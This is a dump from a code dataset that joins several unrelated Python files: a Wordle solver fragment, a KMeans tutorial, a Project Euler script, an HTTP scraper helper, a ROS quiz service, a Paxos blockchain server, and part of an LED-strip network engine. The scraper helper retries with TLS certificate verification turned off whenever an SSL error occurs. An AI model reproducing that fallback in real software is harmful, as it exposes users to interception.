current_words:\n word = item[0]\n score = count_and_position.score_on_pair_occurance(word)\n if Configuration.two_letter_add_to_previous:\n total_score = item[1] + score\n else:\n total_score = score\n out_words.append((word, total_score))\n if total_score > max_total_score:\n max_total_score = total_score\n out_words = filter_by_percentage_maximum(out_words, max_total_score, Configuration.two_letter_add_to_previous)\n return out_words\n\n\ndef filter_guesses_by_position_in_word(current_words_with_count, must_chars, count_and_position):\n if len(current_words_with_count) <= 1:\n return current_words_with_count\n out_words = []\n max_position_score = 0\n for item in current_words_with_count:\n word = item[0]\n score = count_and_position.score_on_position_counts(word)\n if Configuration.position_add_to_previous:\n total_score = item[1] + score\n else:\n total_score = score\n out_words.append((word, total_score))\n if total_score > max_position_score:\n max_position_score = total_score\n # Trace.write(\"Max position total_score is \" + str(max_position_score))\n if max_position_score == 0:\n Trace.write(\"@@@ No scoring by char position\")\n return current_words_with_count\n out_words = filter_by_percentage_maximum(out_words, max_position_score, Configuration.cutoff_position)\n return out_words\n\n\ndef filter_guesses_by_not_here_in_word(current_words_with_count, must_chars, not_here_chars, count_and_position):\n if len(current_words_with_count) <= 1:\n return current_words_with_count\n out_words = []\n\n max_position_score = -1000\n for item in current_words_with_count:\n word = item[0]\n score = score_on_not_here_counts(word, not_here_chars, count_and_position.positions)\n if Configuration.not_there_add_to_previous:\n total_score = item[1] + score\n else:\n total_score = score\n out_words.append((word, total_score))\n if total_score > max_position_score:\n max_position_score = total_score\n # Trace.write(\"Max not here score is \" + str(max_position_score) + \" not here chars \" +\n # list_to_str_with_quotes(not_here_chars))\n if max_position_score == -1000:\n Trace.write(\"@@@ No scoring by not here position\")\n return current_words_with_count\n out_words = filter_by_percentage_maximum(out_words, max_position_score, Configuration.cutoff_not_there)\n return out_words\n\n\ndef exit_with_message(message):\n sys.exit(message)\n","repo_name":"atdd-bdd/wordle","sub_path":"Words.py","file_name":"Words.py","file_ext":"py","file_size_in_byte":9914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6035339560","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nsns.set()\r\nfrom sklearn.cluster import KMeans\r\n\r\ndata = pd.read_csv('clusters.csv')\r\ndata.head()\r\n\r\n#preview data with scatter plot (location data)\r\nplt.scatter(data['Longitude'],data['Latitude'])\r\nplt.xlim(-180,180) #set axis boundaries\r\nplt.ylim(-90,90)\r\nplt.show()\r\n\r\nx = data.iloc[:,1:3] #use iloc to extract [Latitude, Longitude] from [Country, Latitude, Longitude, Language]\r\n\r\n#do K-Means\r\nkmeans = KMeans(3) #set total cluster number to be 3\r\nkmeans.fit(x)\r\nidc = kmeans.fit_predict(x) #return an array indicating the cluster id each point belongs to\r\n\r\n#add clustering result to dataframe\r\ndatac = data.copy() #make a checkpoint by copying\r\ndatac['Cluster'] = idc\r\n\r\n#plot the clustered data in a scatter plot. color by cluster id\r\nplt.scatter(datac['Longitude'],datac['Latitude'],c=datac['Cluster'],cmap='cool')\r\nplt.xlim(-180,180)\r\nplt.ylim(-90,90)\r\nplt.show()\r\n\r\n#How to find the ideal total cluster number? By Elbow Method.\r\n\r\n#K-Means inertia\r\nkmeans.inertia_\r\n\r\n#iterate for different cluster number and find wcss(Within-Cluster-Sum-of-Squares, K-Means inertia)\r\nwcss = []\r\nfor i in range(1,7):\r\n kmeans = KMeans(i)\r\n kmeans.fit(x)\r\n wcss.append(kmeans.inertia_)\r\n#plot (wcss, inertia) to find elbow point\r\nplt.plot(range(1,7),wcss)\r\n","repo_name":"Kakurouta/Python_Data_Science","sub_path":"Sklearn_KMeans_Clustering.py","file_name":"Sklearn_KMeans_Clustering.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12857830473","text":"# There are exactly ten ways of selecting three from five, 12345:\n#\n# 123, 124, 125, 134, 135, 145, 234, 235, 245, and 345\n#\n# In combinatorics, we use the notation, 5^C_3 = 10.\n#\n# In general,\n#\n# n^C_r =\t(n!)/(r!(n−r)!)\n#\n# where r ≤ n, n! = n×(n−1)×...×3×2×1, and 0! = 1.\n# It is not until n = 23, that a value exceeds one-million: 23^C_10 = 1144066.\n#\n# How many, not necessarily distinct, values of nCr, for 1 ≤ n ≤ 100, are greater than one-million?\n\nfrom functions.Integer import nCr\n\n\n\n\ndef run():\n\tMaxim = 100\n\tGoal = 10**6\n\tCount = 0\n\tfor n in range(1, Maxim +1):\n\t\tfor r in range(n):\n\t\t\tif nCr(n, r)>Goal:\n\t\t\t\t# print(n, r)\n\t\t\t\tCount = Count +1\n\tprint(Count)\n","repo_name":"mathematicalninja/Euler","sub_path":"Problems/__75/_53/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18285287376","text":"import random\nimport logging\nfrom importlib import import_module\n\nimport requests\nfrom cached_property import cached_property\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nfrom requests.exceptions import (\n ConnectionError as RequestConnectionError,\n Timeout as RequestTimeout,\n SSLError as RequestSSLError\n)\n\nfrom ..utils.retry import retry\nfrom . import config\nfrom .throttle import Throttle\nfrom .useragent import UserAgent\n\n\nlog = logging.getLogger(__name__)\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nRemoteHostError = type(\"RemoteHostError\", (Exception,), {})\n\n\nclass Requestor(object):\n\n def __init__(self, user_agent=None, proxy_pool=None, enable_proxy=True,\n request_delay=None, cache=None, timeout=None):\n self._user_agent = user_agent\n self.proxy_pool = proxy_pool\n self.enable_proxy = enable_proxy\n self.request_delay = request_delay\n self._cache = cache\n self.timeout = timeout or config.HTTP_TIMEOUT\n\n @cached_property\n def user_agent(self):\n user_agent = self._user_agent or config.HTTP_USER_AGENT or ''\n try:\n return getattr(UserAgent(), user_agent)\n except AttributeError:\n return self._user_agent\n\n @property\n def proxies(self):\n proxy_pool = self.proxy_pool or config.HTTP_PROXY_POOL\n return random.choice(proxy_pool) if proxy_pool else None\n\n @cached_property\n def throttle(self):\n delay = self.request_delay or config.HTTP_REQUEST_DELAY\n return Throttle(delay)\n\n @cached_property\n def cache(self):\n if self._cache:\n return self._cache\n\n cache_params = config.HTTP_PAGE_CACHE_PARAMS\n if not cache_params:\n return None\n\n # TODO: 解析 expires 参数\n\n cache_type = cache_params.pop(\"type\", '')\n cache_class_name = cache_type.title() + \"Cache\"\n cache_module = import_module(\".cache\", __package__)\n try:\n cache_class = getattr(cache_module, cache_class_name)\n except AttributeError:\n raise Exception(\"unsupported cache type: '%s'\" % cache_type)\n return cache_class(**cache_params)\n\n @cached_property\n def _default_headers(self):\n headers = {}\n if self.user_agent:\n headers['User-Agent'] = self.user_agent\n return headers\n\n @cached_property\n def session(self):\n session = requests.Session()\n session.headers.update(self._default_headers)\n return session\n\n def _request(self, url, method=\"GET\", **kwargs):\n method = method.lower()\n request_func = getattr(self.session, method)\n kwargs.setdefault(\"timeout\", self.timeout)\n if self.enable_proxy and self.proxies:\n kwargs[\"proxies\"] = self.proxies\n log.info(\"requesting '%s', method: %s, kwargs: %s\", url, method, kwargs)\n try:\n resp = request_func(url, **kwargs)\n except RequestSSLError as e:\n log.warning(e)\n resp = request_func(url, verify=False, **kwargs)\n body = resp.content.decode(\"utf-8\", errors='ignore')\n log.info(\"%s '%s', response: %s, body summary: %s\",\n method.title(), url, resp, body[:50].replace('\\n', ''))\n try:\n resp.raise_for_status()\n except Exception as e:\n if resp.status_code >= 500:\n raise RemoteHostError() from e\n raise\n return body\n\n @cached_property\n def request(self):\n retry_params = config.HTTP_RETRY_PARAMS.copy()\n retry_params.update({\n \"exceptions\": (\n RequestConnectionError,\n RequestTimeout,\n RemoteHostError\n ),\n \"logger\": log,\n })\n return retry(**retry_params)(self._request)\n\n def __call__(self, url, method=\"GET\", **kwargs):\n result = None\n if self.cache:\n try:\n result = self.cache[url]\n log.info(\"Found '%s' result from the cache\", url)\n return result\n except KeyError:\n # url is not available in cache\n pass\n\n # result was not loaded from cache so still need to download\n self.throttle.wait(url)\n\n result = self.request(url, method=\"GET\", **kwargs)\n if self.cache:\n # save result to cache\n self.cache[url] = result\n\n return result\n","repo_name":"kuanghy/zh-ancient-texts","sub_path":"fetchpro/fetchpro/core/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"22200345729","text":"import rospy\nimport numpy as np\nfrom roboquiz_main.srv import GiveQuestionAnswer, GiveQuestionAnswerResponse\n\nold_questions = []\nquestion_list = []\nload_questions = True\n\ndef get_random_pair(req):\n \n global old_questions, question_list, load_questions\n\n if req.f == 1:\n f = open(\"/home/peko/catkin_ws/src/roboquiz_main/quiz\", \"r\")\n lines = f.readlines()\n\n q_a_pairs = {}\n\n for line in lines:\n line = line.strip()\n question = line.split(\":\")[0]\n answer = line.split(\":\")[1]\n q_a_pairs[question] = answer\n\n if load_questions == True:\n questions = q_a_pairs.keys()\n question_list = list(questions)\n load_questions = False\n \n \n if len(question_list) != 0:\n i = np.random.randint(0,len(question_list))\n r_question = question_list[i]\n r_answer = q_a_pairs[question_list[i]]\n old_questions.append(question_list[i])\n question_list.pop(i)\n \n \n else:\n question_list = old_questions\n old_questions = []\n i = np.random.randint(0,len(question_list))\n r_question = question_list[i]\n r_answer = q_a_pairs[question_list[i]]\n\n print(\"question change\")\n\n return GiveQuestionAnswerResponse(r_question, r_answer)\n \ndef get_random_pair_server():\n \n rospy.init_node(\"get_random_pair_server\")\n s = rospy.Service(\"give_question_answer\", GiveQuestionAnswer, get_random_pair)\n rospy.spin()\n\nif __name__ == \"__main__\":\n get_random_pair_server()\n\n\n \n\n\n","repo_name":"anna-debug/roboquiz_game","sub_path":"roboquiz_main/scripts/question_answer_service.py","file_name":"question_answer_service.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32598610737","text":"import socket\nimport os\nimport json\nimport sys\nimport threading\nimport time\nfrom block import Block\nimport queue\n\nMY_ID = \"\"\nSOCKETS_SEND = {} # server sockets for send\nSOCKETS_CLIENTS = {} # clients sockets for send and receive\nOPERATIONS = [] # queue for sender/block_info\nSTORE = {}\nBLOCKCHAIN = [Block.get_genesis()]\nBALLOT = [0, 0, 0] # \n # fist compare depth then seq_num then id\nLINKS = {} # which links are connected\n\nLEADER = \"5\" # current leader, set to 5 at beginning\nACCEPTNUM = [0 ,0, 0]\nACCEPTVAL = \"\"\nCOUNTACC = 0 # count number of acceptors\nCOUNTPRO = 0 # count number of promise\nMYVAL = \"\" # sender1(_sender2)/block_info\nDECIDING = None # in deciding next val\nDECIDINGL = False # in deciding next leader\nDEPTHS = {} # store depth of each server in phase 1\nCLIENT = \"\" # client who starts leader phase\n# commands for communication between servers, no commands between client and server\nFORMATS = {\"forward\":\"server {}/forward/server {}_client {}/{}\",# sender id, requestor1 id, requestor2 id, operation\n \"accept\":\"server {}/accept/{}/{}/{}\", # sender id, ballot, (requestors, block_info) val\n \"accepted\":\"server {}/accepted/{}/{}/{}\", # sender id, accpet ballot, (requestors, block_info) val\n \"reply\":\"server {}/reply/{}/{}\", # sender id, requestors, reply\n \"decide\":\"server {}/decide/{}/{}/{}\", # sender id, ballot, (requestors, block_info) val\n \"prepare\":\"server {}/prepare/{}\", # sender id, ballot\n \"promise\":\"server {}/promise/{}/{}/{}/{}\", # sender id, ballot, acceptnum, (requestors, block_info) acceptval \n \"chain\":\"server {}/chain\", # sender id\n \"rechain\":\"server {}/rechain/{}\", # sender id, all block info\n \"update\":\"server {}/update/{}\" # sender id, all block info\n }\nCONFIG = {} # id, ports\nWORKING = False\nMY_SOCKET = None\nSOCKETS_RECEIVE = []\ndef receive_message(server_receive, lock):\n #global SOCKETS_RECEIVE\n global SOCKETS_CLIENTS\n global BLOCKCHAIN\n global OPERATIONS\n global MY_ID\n global LEADER\n global BALLOT\n global ACCEPTNUM\n global ACCEPTVAL\n global COUNTPRO\n global LEADER\n global MYVAL\n global DECIDING\n global FORMATS\n global STORE\n global COUNTACC\n global COUNTPRO\n global DECIDINGL\n global DEPTHS\n global CLIENT\n global LINKS\n global CONFIG\n global SOCKETS_SEND\n global WORKING\n global SOCKETS_RECEIVE\n while True:\n # from sender: sender id/cmd/ballot/requestors/val\n # requestors = requestor1 requestor2\n # ballot = seq_num process_id depth\n # val = {\"NONCE\": , \"OPERATION\": , \"ID\": , \"HASH\": }\n # from client: client id/operation:put,key,value,id or get,key,id or leader \n m = server_receive.recv(2024).decode()\n #print(\"receive from \" + m + \"\\n\")\n message = m.split(\"/\")\n # for confirm client id\n # format: client client_id/id\n sender = message[0].split()\n sender_id = sender[1]\n sender_type = sender[0]\n cmd = message[1]\n if sender_type == \"server\" and LINKS[sender_id] == False:\n m = \"\"\n message = [\"\", \"\"]\n sender_type = \"\"\n sender_id = \"\"\n cmd = \"\"\n if m != \"\":\n print(\"receive from \" + m + \"\\n\")\n if message[1] == \"id\": # client 1, id\n if sender_type == \"client\":\n SOCKETS_CLIENTS[sender_id] = server_receive\n print(message[0] + \" connected\")\n else:\n # first time connect\n lock.acquire()\n if len(SOCKETS_RECEIVE)<= 4:\n print(message[0] + \" connected\") \n # some process failed and reconnect\n else:\n server_send = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_send.connect((socket.gethostname(), config[sender_id]))\n server_send.send((\"server \" + MY_ID + \"/id\").encode())\n SOCKETS_SEND[sender_id] = server_send\n print(message[0] + \" reconnected\")\n lock.release()\n next\n # a message from or originally from a client to request an oper ation\n if sender_type == \"client\" or cmd == \"forward\":\n lock.acquire()\n operation = message[-1]\n operation = operation.split(\",\")\n if operation[0] == \"put\" or operation[0] == \"get\": # put, key, value, operation_id\n # I am not leader and I will forward operation to actual leader, must be from a client\n # piggy back my id and reply client through me, not leader\n if MY_ID != LEADER:\n to_send = FORMATS[\"forward\"].format(MY_ID, MY_ID, sender_id, message[-1])\n send_message(to_send, LEADER)\n else:\n # I am leader\n # check if this operation is already in block chain\n # if in, don't append to the queue and start phase2 directly \n \n stored = False\n operation_id = operation[-1]\n storeblock = None\n for block in BLOCKCHAIN:\n if operation_id == block.op_id:\n stored = True\n storeblock = block\n break\n \n requestors = \"\"\n block_info = \"\"\n val = \"\"\n if not stored: \n # push operation to queue \n # maybe from a client direcly or forwarded by another server\n if len(message) == 2:\n requestors = \"server {}_\".format(MY_ID) + message[0]\n else:\n requestors = message[-2]\n op = message[-1]\n # convert operation to block info\n # if there are operation in queue ahead of this one, its hash should be previous one's\n # if no, its hash should be last one in blockchain\n prev_hash = \"\"\n if len(OPERATIONS)>0:\n prev_block_info = json.loads(OPERATIONS[-1].split(\"/\")[1])\n prev_block = Block(prev_block_info[\"HASH\"], prev_block_info[\"OPERATION\"], prev_block_info[\"ID\"], prev_block_info[\"NONCE\"])\n prev_hash = prev_block.after_hash\n else:\n prev_hash = BLOCKCHAIN[-1].after_hash\n block = Block(prev_hash, op, operation_id)\n block_info = block.toString()\n val = requestors + \"/\" + block_info\n OPERATIONS.append(val)\n else:\n # if it is already stored, then its val is in myval\n requestors = MYVAL.split(\"/\")[0]\n block_info = MYVAL.split(\"/\")[1]\n val = MYVAL\n if not DECIDING:\n DECIDING = operation_id\n MYVAL = val\n #print(111)\n to_send = FORMATS[\"accept\"].format(MY_ID, ballot_toString(BALLOT), requestors, block_info)\n send_message(to_send)\n # client time out, ask me to become leader\n elif operation[0] == \"leader\":\n # I am lader, no need to start phase1, either I am partitioned or too many operations in queue\n # ask client to request another one to become leader\n if LEADER == MY_ID:\n to_send = \"server {}/other\".format(MY_ID)\n send_message(to_send, sender_id, True)\n else:\n # I am not leader, start phase1, try to become leader\n # update ballot\n BALLOT[2] = len(BLOCKCHAIN)-1\n BALLOT[1] = MY_ID\n BALLOT[0] += 1\n CLIENT = sender_id\n to_send = FORMATS[\"prepare\"].format(MY_ID, ballot_toString(BALLOT))\n COUNTPRO = 0\n DECIDINGL = True\n DEPTHS.clear()\n send_message(to_send)\n lock.release() \n elif cmd == \"prepare\":\n lock.acquire()\n bal = string_toBallot(message[2])\n if compare_ballot(BALLOT, bal):\n # if I am in phase 1 to compete for leader, stop it\n # if I am processng some message, stop it\n DECIDINGL = False\n BALLOT = bal\n LEADER = sender_id\n DECIDING = False\n accept_v= ACCEPTVAL.split(\"/\")\n accept_r = \"\"\n accept_b = \"\"\n if ACCEPTVAL != \"\":\n accept_r = accept_v[0]\n accept_b = accept_v[1]\n to_send = FORMATS[\"promise\"].format(MY_ID, ballot_toString(BALLOT), ballot_toString(ACCEPTNUM), accept_r, accept_b)\n send_message(to_send, sender_id)\n lock.release()\n elif cmd == \"promise\":\n lock.acquire()\n aval = message[-2] + \"/\" + message[-1]\n anum = message[-3]\n if aval != \"/\":\n MYVAL = aval\n b = string_toBallot(message[2])\n DEPTHS[sender_id] = b[2]\n if DECIDINGL:\n COUNTPRO += 1\n # reach majority ask the server with most depth to send its chain\n if COUNTPRO >= 2:\n DECIDINGL = False\n LEADER = MY_ID\n d = list(DEPTHS.values())\n maxd = max(d)\n max_id = 0\n for key in DEPTHS:\n if DEPTHS[key] == maxd:\n max_id = key\n to_send = FORMATS[\"chain\"].format(MY_ID)\n send_message(to_send, max_id)\n lock.release()\n elif cmd == \"chain\":\n # I have the longest chain, send my chain to leader\n block_infos = \"\"\n for i in range(len(BLOCKCHAIN)):\n if i != 0:\n block_infos += \"_\" + BLOCKCHAIN[i].toString()\n else:\n block_infos += BLOCKCHAIN[i].toString()\n to_send = FORMATS[\"rechain\"].format(MY_ID, block_infos)\n send_message(to_send, sender_id)\n elif cmd == \"rechain\":\n lock.acquire()\n block_infos = message[-1].split(\"_\")\n #print(block_infos[0])\n BLOCKCHAIN.clear()\n for b in block_infos:\n #print(b)\n block_info = json.loads(b)\n block = Block(block_info[\"HASH\"], block_info[\"OPERATION\"], block_info[\"ID\"], block_info[\"NONCE\"], block_info[\"DECIDED\"])\n BLOCKCHAIN.append(block)\n update_chain_file()\n # tell all servers to update chain\n to_send = FORMATS[\"update\"].format(MY_ID, message[-1])\n send_message(to_send)\n to_send = \"server {}/success\".format(MY_ID)\n print(CLIENT)\n send_message(to_send, CLIENT, True)\n # start pahse 2 to accept myval, else wait for\n lock.release()\n elif cmd == \"update\":\n # update chain \n lock.acquire()\n BLOCKCHAIN.clear()\n block_infos = message[-1].split(\"_\")\n for b in block_infos:\n block_info = json.loads(b)\n block = Block(block_info[\"HASH\"], block_info[\"OPERATION\"], block_info[\"ID\"], block_info[\"NONCE\"], block_info[\"DECIDED\"])\n BLOCKCHAIN.append(block)\n update_chain_file()\n lock.release()\n\n elif cmd == \"accept\":\n b = string_toBallot(message[2])\n if compare_ballot(BALLOT, b):\n lock.acquire()\n ACCEPTNUM = b\n v = message[-2] + \"/\" + message[-1]\n ACCEPTVAL = v\n # create a new block and tag it as tentative\n block_info = json.loads(message[-1])\n # if this block is alread in chain, dont store it again\n stored = False\n for block in BLOCKCHAIN:\n if block_info[\"ID\"] == block.op_id:\n stored = True\n if not stored:\n block = Block(block_info[\"HASH\"], block_info[\"OPERATION\"], block_info[\"ID\"], block_info[\"NONCE\"])\n BLOCKCHAIN.append(block)\n update_chain_file()\n to_send = FORMATS[\"accepted\"].format(MY_ID, ballot_toString(ACCEPTNUM), message[-2],message[-1])\n send_message(to_send, sender_id)\n lock.release()\n elif cmd == \"accepted\":\n block_info = json.loads(message[-1])\n if DECIDING == block_info[\"ID\"]:\n lock.acquire()\n COUNTACC += 1\n # reach majority, append block to file \n if COUNTACC >= 2:\n # check if the val is already stored\n stored = False\n operation_id = block_info[\"ID\"]\n storeblock = None\n for block in BLOCKCHAIN:\n if operation_id == block.op_id:\n stored = True\n storeblock = block\n break\n if not stored:\n block = Block(block_info[\"HASH\"], block_info[\"OPERATION\"], block_info[\"ID\"], block_info[\"NONCE\"], True) \n BLOCKCHAIN.append(block)\n OPERATIONS.pop(0)\n DECIDING = None\n COUNTACC = 0\n MYVAL = \"\"\n update_chain_file()\n # update store\n operation = block_info[\"OPERATION\"].split(\",\")\n # generate reply \n reply = \"\"\n if operation[0] == \"put\":\n key = operation[1]\n value = operation[2]\n STORE[key] = value\n reply = \"ack\"\n elif operation[0] == \"get\":\n key = operation[1]\n if key in STORE:\n reply = \"{}'s phone number:{}.\".format(key, STORE[key])\n else:\n reply = \"{}'s phone number cannot be found.\".format(key)\n\n requestors = message[-2].split(\"_\")\n requestor1 = requestors[0].split()[1]\n requestor2 = requestors[1].split()[1]\n if requestor1 == MY_ID:\n # send to client directly\n to_send = \"server {}/{}\".format(MY_ID, reply)\n send_message(to_send, requestor2, True)\n\n else:\n # if request is from a server, send reply to a server first then to the client\n to_send = FORMATS[\"reply\"].format(MY_ID, message[-2], reply)\n send_message(to_send, requestor1)\n\n # send decide to all other servers\n b = message[2]\n to_send = FORMATS[\"decide\"].format(MY_ID, b, message[-2], message[-1])\n send_message(to_send)\n # if there are other operations in queue, start phase 2\n if len(OPERATIONS) > 0:\n val = OPERATIONS[0].split(\"/\")\n requestors = val[0]\n block_info = val[1]\n b = json.loads(block_info)\n DECIDING = b[\"ID\"]\n MYVAL = val\n #print(2222)\n to_send = FORMATS[\"accept\"].format(MY_ID, ballot_toString(BALLOT), requestors, block_info)\n send_message(to_send)\n else:\n DECIDING = None\n lock.release()\n elif cmd == \"reply\":\n # a request is sent through me, I reply to client\n requestors = message[-2].split(\"_\")\n requestor2 = requestors[1]\n client_id = requestor2.split()[1]\n to_send = \"server {}/{}\".format(MY_ID, message[-1])\n send_message(to_send, client_id, True)\n elif cmd == \"decide\":\n # set block to decided and uodatae store\n block_info = json.loads(message[-1])\n for i in range(len(BLOCKCHAIN)):\n if BLOCKCHAIN[i].op_id == block_info[\"ID\"]:\n #print(BLOCKCHAIN[i].op_id, block_info[\"ID\"])\n lock.acquire()\n BLOCKCHAIN[i].decide()\n #print(BLOCKCHAIN[i].decided)\n op = BLOCKCHAIN[i].operation.split(\",\")\n if op[0] == \"put\":\n STORE[op[1]] = op[2]\n lock.release()\n update_chain_file()\n\n\n# thread for clearing operations in queue and start from MYVAL\ndef generate_value(requestors, operation):\n global BLOCKCHAIN\n # use _ to partition two requestors\n requestors = requestors.split(\",\")\n requestors = \"_\".join(requestors)\n # convert operation to block info\n operation_id = operation.split(',')[-1]\n block = Block(BLOCKCHAIN[-1].after_hash, operation, operation_id)\n block_info = block.toString()\n return requestors, block_info\n\n# ballot2 >= ballot1, true\ndef compare_ballot(ballot1, ballot2):\n if ballot2[2] >= ballot1[2] or ballot2[0] >= ballot1[0] or ballot2[1] >= ballot2[1]:\n return True\n return False\n\ndef ballot_toString(ballot):\n return \"{} {} {}\".format(ballot[0], ballot[1], ballot[2])\n\ndef string_toBallot(ballot_s):\n ballot = ballot_s.split()\n return [int(ballot[0]), int(ballot[1]), int(ballot[2])]\n\ndef update_chain_file():\n global BLOCKCHAIN\n global MY_ID\n chain_file = []\n filename = \"blockchain{}.json\".format(MY_ID)\n with open(filename, \"w\") as f:\n for block in BLOCKCHAIN:\n if block.operation != \"0\": # don't put genesis block on disk\n block_info = {\"NONCE\":block.nonce, \"OPERATION\":block.operation, \"HASH\":block.previous_hash, \"DECIDED\":block.decided, \"ID\":block.op_id }\n chain_file.append(block_info)\n json.dump(chain_file, f, indent=4)\n f.close()\n\ndef send_message(message, receiver_id = \"all\", to_client = False):\n global SOCKETS_SEND\n global SOCKETS_CLIENTS\n global LINKS\n # send message to servers\n time.sleep(2)\n if not to_client:\n if receiver_id == \"all\":\n servers = list(SOCKETS_SEND.keys())\n for server in servers:\n if LINKS[server]:\n SOCKETS_SEND[server].send(message.encode())\n else:\n if LINKS[receiver_id]:\n server = SOCKETS_SEND[receiver_id]\n server.send(message.encode())\n else:\n client = SOCKETS_CLIENTS[receiver_id]\n client.send(message.encode())\n\n\ndef handle_input():\n global MY_ID\n global OPERATIONS\n global LINKS\n global STORE\n global LEADER\n global MY_SOCKET\n global SOCKETS_CLIENTS\n global SOCKETS_RECEIVE\n global SOCKETS_SEND\n while True:\n inp = input(\"please input: \")\n inp = inp.split(\",\")\n if inp[0] == \"queue\":\n if MY_ID != LEADER:\n print(\"I am not leader, I don't have queue\")\n else:\n print(OPERATIONS)\n elif inp[0] == \"failLink\":\n LINKS[inp[1]] = False\n elif inp[0] == \"fixLink\":\n LINKS[inp[1]] = True\n elif inp[0] == \"failProcess\":\n pass\n elif inp[0] == \"leader\":\n print(LEADER)\n elif inp[0] == \"store\":\n print(STORE)\n else:\n print(\"wrong input\")\n \n \n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage: python {} \".format(sys.argv[0]))\n sys.exit()\n\n MY_ID = sys.argv[1]\n BALLOT[1] = int(MY_ID)\n\n with open(\"config.json\", \"r\") as f:\n config = json.load(f)\n f.close()\n CONFIG = config\n \n others = [\"1\", \"2\", \"3\", \"4\", \"5\"]\n others.remove(MY_ID)\n # listen to other servers\n my_port = config[MY_ID]\n my_socket = socket.socket()\n my_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n my_socket.bind((socket.gethostname(), my_port))\n my_socket.listen(32)\n\n MY_SOCKET = my_socket\n\n # reconstruct blockchain from disk\n chain_file = \"blockchain{}.json\".format(MY_ID)\n with open(chain_file, \"r\") as f:\n stored = json.load(f)\n f.close()\n i = 1\n for block_info in stored:\n # check valid\n #print(block_info)\n #print(i, len(BLOCKCHAIN))\n prev_hash = BLOCKCHAIN[i-1].after_hash\n stored_hash = block_info[\"HASH\"]\n if prev_hash == stored_hash:\n #print(1)\n block = Block(prev_hash, block_info[\"OPERATION\"], block_info[\"ID\"], block_info[\"NONCE\"], block_info[\"DECIDED\"])\n BLOCKCHAIN.append(block)\n i += 1\n # reconstruct kv store based on filed blockchain\n for block in BLOCKCHAIN:\n op = block.operation\n #print(op)\n op = op.split(\",\")\n if op[0] == \"put\" and block.decided:\n STORE[op[1]] = op[2]\n print(STORE)\n \n BALLOT[2] = i-1 # record current depth of blockchain\n\n\n # wait for connect command\n while input(\"please input connect: \") != \"connect\":\n print(\"Please establish other servers\")\n \n # connect with other servers for send\n for s in others:\n server_send = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_send.connect((socket.gethostname(), config[s]))\n server_send.send((\"server \" + MY_ID + \"/id\").encode())\n SOCKETS_SEND[s] = server_send\n LINKS[s] = True\n\n\n threading.Thread(target=handle_input).start()\n # connect with other servers for receive\n # connect with other clients for receive and send\n lock = threading.Lock()\n while True:\n server_receive, address = my_socket.accept()\n SOCKETS_RECEIVE.append(server_receive)\n threading.Thread(target=receive_message, args=(server_receive, lock,)).start()\n\n","repo_name":"sqing73/cs171_final_project","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":23102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22662939720","text":"import asyncio\nimport datetime\nimport logging\nimport socket\nfrom collections import defaultdict\nfrom typing import Optional, Set\n\nimport enums.discovery_packet_body as dpb\nfrom enums.packet_type import PacketType\nfrom exceptions.protocol_exceptions import QLPError\nfrom models.device import QLSCDevice\nfrom models.packet import QLPPacket\nfrom utils.esp_touch import init as esp_touch_init, sendData as esp_touch_send_data\nfrom utils.singleton import Singleton\n\nlogger = logging.getLogger('Engine')\n\n\nclass QLPEngine(metaclass=Singleton):\n \"\"\"Engine for Quantum0's LED Strip Protocol, allows to interact with devices\"\"\"\n __QLP_PORT__ = 52075\n __RECV_TIMEOUT = 1.5\n\n # TODO: Add something kinda request_response list\n # Цель:\n # - функция отправки команды девайсу должна дождаться ответа или упасть с таймаут еррором\n # - несколько таймаут ерроров - удаляем девайс из списка\n # - если девайсу была отправлена команда - лочить выполнение следующей отправки пока предыдущая не будет завершена\n # dict[device_id, lock] ?\n # - НЕ лочить параллельную отправку двум или более девайсам\n # - добавить в протокол байт - счетчик команды\n\n def __init__(self):\n self._listening: bool = False\n self._stop_listen: bool = False\n # self._received_packets_queue: Queue[QLPPacket] = Queue()\n self._devices: Set[QLSCDevice] = set()\n self._tx = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n self._tx.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n self.__just_send_packet = None\n # Sent packets, waiting for confirmation: dev_uuid:timestamp+command_counter\n self.__packets: dict[str, tuple[datetime.datetime, int]] = {}\n self.__locks: defaultdict[str, asyncio.Lock] = defaultdict(asyncio.Lock)\n logger.debug('Engine was created')\n\n def __getitem__(self, device_uuid: str) -> Optional[QLSCDevice]:\n for device in self._devices:\n if device.device_uuid == device_uuid:\n return device\n logger.info('Device with uuid=\"%s\" was not found', device_uuid)\n return None\n\n def start(self):\n if self._listening:\n raise QLPError('QLP Listener is already started')\n self._listening = True\n asyncio.create_task(self.__listening_loop())\n logger.info('Engine was started')\n\n def stop(self):\n if not self._listening:\n raise QLPError('QLP Listener is already stopped')\n if self._stop_listen:\n raise QLPError('QLP Listener is already stopping')\n self._stop_listen = True\n logger.info('Request to stop')\n\n async def __listening_loop(self):\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n sock.bind(('', self.__QLP_PORT__))\n sock.settimeout(0.2)\n while not self._stop_listen:\n try:\n data, addr = sock.recvfrom(1024)\n if data == 